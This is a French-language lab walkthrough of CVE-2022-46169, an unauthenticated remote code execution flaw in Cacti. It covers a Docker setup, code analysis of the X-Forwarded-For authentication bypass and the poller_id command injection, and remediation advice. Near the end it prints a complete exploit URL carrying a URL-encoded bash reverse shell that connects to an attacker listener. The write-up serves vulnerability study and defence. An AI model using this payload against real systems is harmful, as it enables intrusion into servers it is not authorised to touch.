
Analyse étape par étape de CVE-2022-46169 : exécution de code à distance non authentifiée dans Cacti via contournement d'authentification et injection de commandes, avec configuration du laboratoire Docker et guide d'exploitation.
Cacti est un outil de surveillance opérationnelle open-source écrit en PHP, MySQL/MariaDB, offrant une interface conviviale.
La vulnérabilité a été découverte en 2022 et affecte toutes les versions antérieures à la 1.2.23. Ce bogue nécessite une chaîne de contournement d'authentification et d'injection de commandes pour réaliser une RCE (Exécution de Code à Distance).
Dans cette analyse CVE, je vais exécuter Cacti dans Docker et utiliser VSCode pour l'analyse du code. La configuration sera assez simple, nous avons d'abord besoin d'un fichier docker-compose.yaml pour créer un nouvel environnement. Voici le fichier docker-compose.yaml :
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Changer le port hôte en 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
Après avoir créé le fichier, ouvrez la ligne de commande et naviguez jusqu'au répertoire du fichier, exécutez la commande docker-compose up -d, ouvrez le navigateur et accédez à localhost:8088. Vous verrez d'abord une page de connexion :

Les identifiants par défaut sont admin/admin. Le processus de configuration sera présenté par les photos ci-dessous :

Créer un nouveau mot de passe

Après avoir terminé l'installation, nous aurons un écran de console comme celui-ci

Commençons maintenant à analyser la vulnérabilité. Comme nous le savons, le fichier vulnérable est remote_agent.php, nous allons donc essayer d'accéder au fichier dans le navigateur

Il dit que nous ne sommes pas autorisés à accéder au fichier. Il est temps de voir le code source du fichier

Il vérifie en appelant la fonction remote_client_authorized(). Plongeons profondément dans cette fonction.

Premièrement, le serveur obtient notre adresse IP via la fonction get_client_addr() puis utilise la fonction gethostbyaddr() pour traduire notre IP en nom d'hôte. Le serveur récupère ensuite tous les pollers disponibles dans la table poller et compare le hostname de chaque poller avec votre hostname traduit à partir de l'adresse IP. Il y a un contournement ici, à l'intérieur de get_client_addr() :

Nous pouvons voir que le serveur récupérera l'adresse IP via l'un des en-têtes suivants :
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
Cela nous permet de contrôler complètement la valeur de notre adresse IP. Dans ce cas, nous pouvons utiliser l'en-tête X-Forwarded-For pour usurper notre IP en une IP valide, ce qui nous permet de contourner l'autorisation. L'en-tête X-Forwarded-For est souvent utilisé pour identifier l'adresse IP d'origine s'il y a un proxy ou un équilibreur de charge entre le client et le serveur. Cependant, cela constituera une surface d'attaque pour les attaquants. Comme nous exécutons Cacti localement, nous devons spécifier une adresse IP qui sera traduite en localhost, c'est-à-dire 127.0.0.1.

Ça a l'air bien maintenant, non ? Cependant, ce n'est que le début, les amis !!! Nous avons besoin de plus d'analyse de code pour injecter avec succès une commande et obtenir une exécution de code à distance. Après avoir terminé l'authentification, le programme exécutera ce code

Le serveur récupère le paramètre action et entre dans une structure Switch/Case. Si la valeur de action est pollerdata, le programme appelle poll_for_data(). Cette fonction est vulnérable à l'injection de commandes, nous allons donc l'analyser attentivement.

La fonction prend 3 paramètres $local_data_ids, $host_id, $poller_id reçus des paramètres de la requête utilisateur local_data_ids, host_id, poller_id. Remarquez la différence dans la fonction pour récupérer les paramètres, l'une est get_filter_request_var et l'autre est get_nfilter_request_var, il y a un n supplémentaire dans la dernière fonction, nous en discuterons plus en détail. Ensuite, le programme vérifie si nous avons fourni le paramètre local_data_ids et boucle sur chacun pour récupérer les données de la table poller_item en fonction de local_data_ids et host_id. La requête sera sauvegardée dans $items.

Si la requête renvoie des résultats, le programme parcourt chaque $item dans $items et entre dans une instruction Switch/Case qui prend $item['action'] comme valeur Switch. Il y a plusieurs cas mais le cas que nous devons examiner est POLLER_ACTION_SCRIPT_PHP qui signifie que action est égal à 2.

Une fois que action est 2, le programme exécute la commande proc_open(), qui est assez similaire à exec(), et prend $poller_id comme l'une des variables, qui est entièrement contrôlée par nous. Pour une meilleure visualisation, nous devons accéder à la base de données pour récupérer le contenu de la table poller_item pour voir à quoi elle ressemble.

À partir du tableau, nous voyons que nous devons forcer brutalement le local_data_id pour obtenir le poller ayant action = 2, cela sera appliqué dans l'exploitation réelle. Par défaut, Cacti n'a aucun poller avec action = 2, mais cela peut être fait en ajoutant de nouveaux modèles comme device



Après avoir créé un nouveau device, nous accédons à nouveau à la table poller_item et voyons qu'il y a un nouveau poller avec action = 2

Revenons maintenant sur l'ensemble du processus. Pour exploiter avec succès le bogue, nous devons d'abord contourner l'authentification en ajoutant l'en-tête X-Forwarded-For. L'étape suivante consiste à fournir le paramètre action à polldata, host_id =1, local_data_ids égal au poller correspondant ayant action =2, dans ce cas local_data_ids = 6, et surtout, le paramètre poller_id est celui où nous allons injecter la commande pour obtenir une exécution de code à distance. L'utilisation de get_nfilter_request_var() rend ce paramètre vulnérable. Alors que get_filter_request_var n'accepte que les entiers, get_nfilter_request_var nous permet de saisir une chaîne de caractères. De plus, il n'y a pas de validation d'entrée pour ce paramètre, ce qui conduit à une injection de commande complète.
Lançons un serveur Kali Linux à l'écoute des requêtes.

Nous avons besoin de l'adresse IP de Kali et du port sur lequel le serveur s'exécute pour construire la charge utile, dans ce cas 172.22.119.130 et netcat s'exécute sur le port 4444
Ouvrons maintenant Burpsuite et commençons à exploiter, la charge utile utilisée ici est ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. La charge utile utilise un ; pour terminer la commande précédente et en exécuter une nouvelle. Le reste est une simple commande pour obtenir un shell inversé. En combinant le tout, nous avons l'URL complète : localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


Boum !!! Nous avons réussi à exploiter le bogue. Le processus et l'explication sont assez longs mais en général, ce n'est pas une vulnérabilité très compliquée.
La cause racine de cette vulnérabilité est l'utilisation de la fonction get_nfilter_request_var() pour le paramètre poller_id. Nous pouvons la remplacer par get_filter_request_var() pour n'accepter que les entiers

Nous pouvons ajouter une couche de sécurité supplémentaire en nettoyant la valeur de poller_id à l'aide de la fonction cacti_escapeshellarg(). Ces pratiques garantiront que seule une entrée valide est passée à poller_id avant d'être utilisée pour les étapes suivantes.

Ceci est la fin de l'analyse. J'espère que vous apprendrez quelque chose d'utile. Comme nous pouvons le voir, la vulnérabilité se produit souvent dans les entrées utilisateur. Par conséquent, il est très important d'appliquer une validation d'entrée appropriée pour sécuriser notre serveur. L'exécution de code à distance est si grave, mais il y a toujours un moyen de la prévenir !!! Bon hacking !